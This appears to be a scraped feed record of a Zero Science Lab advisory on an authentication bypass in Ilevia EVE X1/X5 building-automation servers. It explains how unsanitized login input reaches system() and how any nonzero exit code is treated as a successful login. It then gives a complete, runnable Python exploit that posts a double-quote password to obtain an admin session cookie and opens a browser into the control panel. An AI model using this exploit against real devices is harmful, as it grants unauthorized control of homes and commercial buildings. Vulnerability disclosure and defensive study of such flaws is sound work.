{“lastseen”:”2025-08-26T16:14:41″,”description”:”Title: Ilevia EVE X1\/X5 Server 4.7.18.0.eden Authentication Bypass Exploit Advisory…”,”published”:”2025-08-26T00:00:00″,”modified”:”2025-08-26T00:00:00″,”type”:”zeroscience”,”title”:”Ilevia EVE X1\/X5 Server 4.7.18.0.eden Authentication Bypass Exploit”,”source”:””,”references”:””,”id”:”ZSL-2025-5958″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e#!\/usr\/bin\/env python\\r\\n#\\r\\n#\\r\\n# Ilevia EVE X1\/X5 Server 4.7.18.0.eden Authentication Bypass Exploit\\r\\n#\\r\\n#\\r\\n# Vendor: Ilevia Srl.\\r\\n# Product web page: https:\/\/www.ilevia.com\\r\\n# Affected version: \\u0026lt;= 4.7.18.0.eden (Logic ver: 6.00)\\r\\n#\\r\\n# Summary: EVE is a smart home and building automation solution designed\\r\\n# for both residential and commercial environments, including malls, hotels,\\r\\n# restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive\\r\\n# control and monitoring of electrical installations through a highly customizable,\\r\\n# user-friendly interface.\\r\\n#\\r\\n# EVE is a multi-protocol platform that integrates various systems within\\r\\n# a smart building to enhance comfort, security, safety, and energy efficiency.\\r\\n# Users can manage building functions via iPhone, iPad, Android devices, Windows\\r\\n# PCs, or Mac computers.\\r\\n#\\r\\n# The EVE X1 Server is the dedicated hardware solution for advanced building\\r\\n# automation needs. Compact and powerful, it is ideal for apartments, small\\r\\n# to medium-sized homes, and smaller commercial installations. It is designed\\r\\n# to manage entire automation systems reliably and efficiently.\\r\\n#\\r\\n# Desc: The application constructs a shell command using unsanitized user input\\r\\n# passed to the system() function, calling an external binary for authentication.\\r\\n# Due to improper input handling and reliance on the binary’s return value for\\r\\n# access control, an attacker can inject special characters, such as a double\\r\\n# quote (\\”) to manipulate command parsing and induce execution failure. Since\\r\\n# the application interprets any non-zero exit code from the binary as successful\\r\\n# authentication, this flaw allows remote users to bypass authentication entirely\\r\\n# without providing valid credentials.\\r\\n#\\r\\n# ——————————————————————————\\r\\n# \/login\/login.php:\\r\\n# —————–\\r\\n# 22: $strCmd = \\”\/ilevia\/bin\/ilevia_authenticate -u \\\\\\”\\” . $_POST[\\”userid\\”] . \\”\\\\\\” -p \\\\\\”\\” . $_POST[\\”passwd\\”] . \\”\\\\\\”\\”;\\r\\n# 23: system($strCmd,$retVal);\\r\\n# 24: if($retVal \\u0026gt; 0){\\r\\n# 25: $_SESSION[\\”authorized\\”] = 1;\\r\\n# 26: $destinazione = \\”..\/main\/index.php\\”;\\r\\n# ——————————————————————————\\r\\n#\\r\\n# Tested on: GNU\/Linux 5.4.35 (armv7l)\\r\\n# GNU\/Linux 4.19.97 (armv7l)\\r\\n# Armbian 20.02.1 Buster\\r\\n# Apache\/2.4.38 (Debian)\\r\\n# PHP Version 7.3.14\\r\\n#\\r\\n#\\r\\n# Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\r\\n# @zeroscience\\r\\n#\\r\\n#\\r\\n# Advisory ID: ZSL-2025-5958\\r\\n# Advisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5958.php\\r\\n#\\r\\n#\\r\\n# 01.05.2024\\r\\n#\\r\\n\\r\\n\\r\\nfrom webdriver_manager.firefox import GeckoDriverManager as GDM\\r\\nfrom webdriver_manager.chrome import ChromeDriverManager as CDM\\r\\nfrom selenium.webdriver.firefox.service import Service as FS\\r\\nfrom selenium.webdriver.chrome.service import Service as CS\\r\\nfrom selenium.webdriver.common.by import By\\r\\nfrom selenium import webdriver\\r\\nimport sys, time, requests\\r\\n\\r\\ndef meta(ip_port):\\r\\n if ‘:’ not in ip_port:\\r\\n ip_port += ‘:8080’\\r\\n return f\\”http:\/\/{ip_port}\\”\\r\\n\\r\\ndef auth(url):\\r\\n log_in = f\\”{url}\/login\/login.php\\”\\r\\n data = {\\r\\n \\”userid\\”: \\”admin\\”,\\r\\n \\”passwd\\”: \\”\\\\\\”\\”,\\r\\n \\”login\\”: \\”Login\\”\\r\\n }\\r\\n sess = requests.Session()\\r\\n r = sess.post(log_in, data=data, timeout=5)\\r\\n if \\”PHPSESSID\\” in sess.cookies:\\r\\n sess_id = sess.cookies.get(\\”PHPSESSID\\”)\\r\\n print(f\\”..\\u0026gt; Authenticated. PHPSESSID={sess_id}\\”)\\r\\n return sess_id, sess.cookies.get_dict(), url\\r\\n else:\\r\\n print(\\”..\\u0026gt; Failed to get PHPSESSID.\\”)\\r\\n sys.exit(1)\\r\\n\\r\\ndef surfaj(sess_id, url, browser=’chrome’):\\r\\n print(\\”..\\u0026gt; Launching browser…\\”)\\r\\n\\r\\n options = None\\r\\n driver = None\\r\\n domain = url.split(\\”\/\/\\”)[1].split(\\”:\\”)[0]\\r\\n port = url.split(\\”:\\”)[-1]\\r\\n cookie_D = domain\\r\\n\\r\\n if browser == ‘chrome’:\\r\\n options = webdriver.ChromeOptions()\\r\\n driver = webdriver.Chrome(service=CS(CDM().install()), options=options)\\r\\n elif browser == ‘firefox’:\\r\\n options = webdriver.FirefoxOptions()\\r\\n driver = webdriver.Firefox(service=FS(GDM().install()), options=options)\\r\\n else:\\r\\n print(\\”..\\u0026gt; Unsupported browser.\\”)\\r\\n return\\r\\n\\r\\n driver.get(f\\”{url}\/login\/login.php\\”)\\r\\n\\r\\n driver.add_cookie({\\r\\n \\”name\\”: \\”PHPSESSID\\”,\\r\\n \\”value\\”: sess_id,\\r\\n \\”domain\\”: cookie_D,\\r\\n \\”path\\”: \\”\/\\”\\r\\n })\\r\\n\\r\\n time.sleep(1)\\r\\n driver.get(f\\”{url}\/main\/index.php\\”)\\r\\n\\r\\n print(\\”..\\u0026gt; Wait for it.\\”)\\r\\n input(\\”..\\u0026gt; Press Enter to close the browser…\\\\n\\”)\\r\\n driver.quit()\\r\\n\\r\\ndef main():\\r\\n if len(sys.argv) != 2:\\r\\n print(f\\”Usage: python {sys.argv[0]} \\u003cip\\u003e\\”)\\r\\n sys.exit(1)\\r\\n\\r\\n smart = sys.argv[1]\\r\\n url = meta(smart)\\r\\n sess_id, cookies, url = auth(url)\\r\\n print(f\\”..\\u0026gt; Cookie: PHPSESSID={sess_id}\\”)\\r\\n surfaj(sess_id, url, browser=’chrome’)\\r\\n\\r\\nif __name__ == \\”__main__\\”:\\r\\n main()\\r\\n\\u003c\/ip\\u003e\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”http:\/\/zeroscience.mk\/codes\/ilevia_auth.txt”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2025-5958.php”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-08-26T16:14:41″,”description”:”Title: Ilevia EVE X1\/X5 Server 4.7.18.0.eden Authentication Bypass Exploit Advisory…”,”published”:”2025-08-26T00:00:00″,”modified”:”2025-08-26T00:00:00″,”type”:”zeroscience”,”title”:”Ilevia EVE X1\/X5 Server 4.7.18.0.eden Authentication Bypass Exploit”,”source”:””,”references”:””,”id”:”ZSL-2025-5958″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e#!\/usr\/bin\/env python\\r\\n#\\r\\n#\\r\\n# Ilevia EVE X1\/X5 Server 4.7.18.0.eden Authentication Bypass…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,7,11,5,107],"class_list":["post-14392","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n